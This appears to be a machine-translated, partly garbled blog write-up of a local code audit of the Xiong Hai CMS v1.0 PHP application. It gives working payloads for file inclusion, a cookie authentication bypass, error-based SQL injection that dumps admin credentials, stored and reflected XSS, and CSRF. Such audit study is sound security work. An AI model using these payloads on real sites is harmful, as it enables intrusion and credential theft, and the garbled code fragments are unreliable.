code audit of xiong hai cms v1.0

I happened to find such a small CMS developed by an individual. I just want to study code audit. Let's borrow this CMS to start my code audit~

After reading the code audit books of Daoge and Seay, I always felt that I lacked practical experience. When I read the code audit books of others, I always thought it was very simple. I found that there are many small details that I need to dig before I can find them.. Originally, I wanted to classify the vulnerabilities and then send them out, but it didn't reflect the idea of code audit. I'd better write according to my actual idea. The types of vulnerabilities may be repeated~

To get the code, first look at the obvious vulnerabilities (take out Seay's code audit system ~)

There are 34 suspicious vulnerabilities in total. Let's analyze them one by one to see which ones are useful. Besides these known ones, let's see if there are any missed ones~

1. File Inclusion Vulnerability

$file = addslashes ($_get ['r ']); / / receive filename

$action = $file = = ''? "Index": $file; / / it is null or equal to index

Include ('files / '. $action.'. PHP '); / / load the corresponding file

This is the vulnerability code of Id1 and Id2. Here, the parameter r directly enters the include function after an escape

A typical file contains vulnerabilities!

Here, I create a new test.php in the root directory. The content is <? PHP phpinfo();? >

But notice here that the file shown in the code is in the files directory

Here we need to do directory jump, jump to the root directory, and then include test.php as our test

payload : http://127.0.0.1/?r=../test

Then we continue to refer to the vulnerabilities given by Seay audit system. We can find that there are a lot of SQL injection vulnerabilities in the admin directory. Because this is in the admin directory, we need to obtain the background login account password first. Let's put it here first to see if there are any subsequent vulnerabilities that can obtain the administrator account password, and then we can carry out a confirmatory analysis on these vulnerabilities~

There is no obvious feasibility for subsequent vulnerabilities after actual test. Let's analyze the CMS structure~

First of all, we pay attention to its configuration files, which are all in the Inc directory. Let's analyze the files in this directory one by one. This configuration directory is very important!

2. Breach of authority

See the second file of the configuration directory and you'll find the problem

<? PHP

$user=$_COOKIE['user'];

if ($user==""){

header("Location: ?r=login");

Exit;

}

> >

The cookie is verified here. If the user exists, it will be ignored. If the cookie does not exist, it will jump to the page /? R = login. What page is this? Take a look~

It turns out that this is the background interface, that is, the function of the background, which relies on this cookie for authentication. As long as there is a user, it is assumed that the Administrator....

You can see that almost all the management pages in the background adopt such a authentication method, so let's bypass it!

Take / admin / files / wzlist.php for example~

Here I added the authentication, and the user only needs to exist..

You can see it's going up.. After that, when performing background operations, you only need to add the user = XXX to be like an administrator..

Later, when looking at the configuration file, I didn't find any highlights, just some common database connections, picture definitions, etc~

3.sql injection

Come on, script boy's favorite~

After basically reading all the configuration files, let's see if there is SQL injection in the page storage~

Browse the webpage casually, such as http: / / 127.0.0.1 /? R = Content & CID = 18 here

Let me take a look at how to call parameters. Here, R has been mentioned before ~, and we focus on analyzing CID (like SQL injection here)

The full-text tracking of this CID parameter shows that addslashes() is used at the beginning of the call, and GG has been injected here, but there is still a turning point~

Next, I'll go to the background login page, and I can't forget how many times the case of universal password direct login~

One

Two

Three

Four

Five

Six

Seven

Eight

Nine

Ten

Eleven

Twelve

Thirteen

Fourteen

Fifteen

Sixteen

Seventeen

Eighteen

Nineteen

require '../inc/conn.php';

$login=$_POST['login'];

$user=$_POST['user'];

$password=$_POST['password'];

$checkbox=$_POST['checkbox'];

if ($login<>""){

$query = "SELECT * FROM manage WHERE user='$user'";

$result = mysql_query ($query) or die ('sql statement error: '. Mysql_error());

$users = mysql_fetch_array($result);

if (!mysql_num_rows($result)) {

Echo "< script language = javascript > alert ('sorry, the user name or password is wrong. ');history.back();</Script>";

Exit;

}else{

$passwords=$users['password'];

if(md5($password)<>$passwords){

Echo "< script language = javascript > alert ('sorry, the user name or password is wrong. ');history.back();</Script>";

Exit;

There are no filter parameters for user and password here, which are directly brought into the database query!

Explain the password judgment mechanism here. First, query from the database according to the user name we entered. If no error is found, compare the MD5 value with the MD5 value of the password we entered. If no error is reported..

So the universal password here doesn't work, but there's injection! payload ： ' or updatexml(1,concat(0x7e,(select concat(user,0x7e,password) from manage)),0)#

The password here is arbitrary, because we have been able to use error injection to display the user name and password~

The administrator account password is successfully obtained here~

It seems that you can log in to the background to get shell, but this is not the actual penetration, so in the spirit of research, we will continue to analyze this CMS!

4.xss vulnerability

Let's continue to see the functions of the web page. Here's a "connection" that attracts my attention~

Here we focus on whether there is a storage XSS vulnerability!

After the actual test, it can be displayed directly without the administrator's consent ~ this greatly facilitates our test ~ next, see if we can execute JavaScript and filter it~

Filtered < script > < script >... Let's analyze the source code~

<li>< span > nickname < / span > < input name = "name" type = "text" value = "< PHP echo $_cookie ['name ']? >" / ></li>

<li>< span > email < / span > < input name = "mail" type = "text" value = "< PHP echo $_cookie ['mail ']? >" / ></li>

< input name = "save" type = "submit" value = "submit" id = "input2" / >

I've been stuck here for a long time, because I didn't find the filter function. I didn't find the function that can filter < script > until I found out it was this < textarea > that got it!

This < textarea > can filter tags. For details, please refer to: conveyor door

But don't panic! The name, mail and URL here are not filtered. We can submit JS directly, but we need to pay attention to closing the tag here

After the actual test here, because the mail is not displayed in the user, inserting XSS here will not cause discomfort on the page~

This is the same as ordinary users, but our XSS code has been inserted~

At this time, we simulate the administrator to open the message list~

When ordinary users open the message page:

In addition, a reflective XSS vulnerability is found

$page=addslashes($_GET['page']);

if ($page<>""){

if ($page<>1){

$pages = "page." $page. "Page -";

The page parameter here is escaped once and brought directly into the page

payload ： ?page=<script>alert(2)</script>

I've looked at the user's page almost once, and the vulnerability is almost the same~

Now let's go into the background and see if there is any hole in the wood~

5.sql injection 2

Here, because we have obtained the administrator's account password according to the previous vulnerability, we can also verify the vulnerability in the admin directory shown in the sea code audit system!

Here is an example of admin /? R = newlink~

$query = "INSERT INTO link (name,url,mail,jieshao,xs,date) VALUES ('$name','$url','$mail','jieshao','xs',now())";

@Mysql_query ($query) or die ('New error: '. Mysql_error());

Echo "<script>alert ('dear, the link has been added successfully. ');location.href='?r=linklist'</script>";

The parameters here are also directly inserted into the database without filtering

Payload:

Error echo:

6.csrf vulnerability

There are not many administrator functions here. I'll have a look at them one by one~

Suddenly, I saw a function of deleting articles. I clicked on the page to grab the package. It seemed that I saw the new world~

/admin/?r=wzlist&delete=18

To make it up, http: / / 127.0.0.1 / admin /? R = wzlist & delete = 18

This is to delete the link of the page. What happens if the management clicks the link.. Let's do a test

First of all, I exit the management account, and then visit this page. According to the analysis above, the identity of my user must be verified here, so I should return to the login interface

After testing, I did return to the login interface~

Let's log in to the administrator, and then click the link~

Here I log in, and then click the link, the article will be directly deleted!

Audit here, how to get shell!

But the level is not good. After many attempts, there is no get shell....

So the audit is over here. In summary, first look at the overall CMS framework, then focus on the configuration directory and function directory, and finally get shell analysis on the background.

IMCAFS

code audit of xiong hai cms v1.0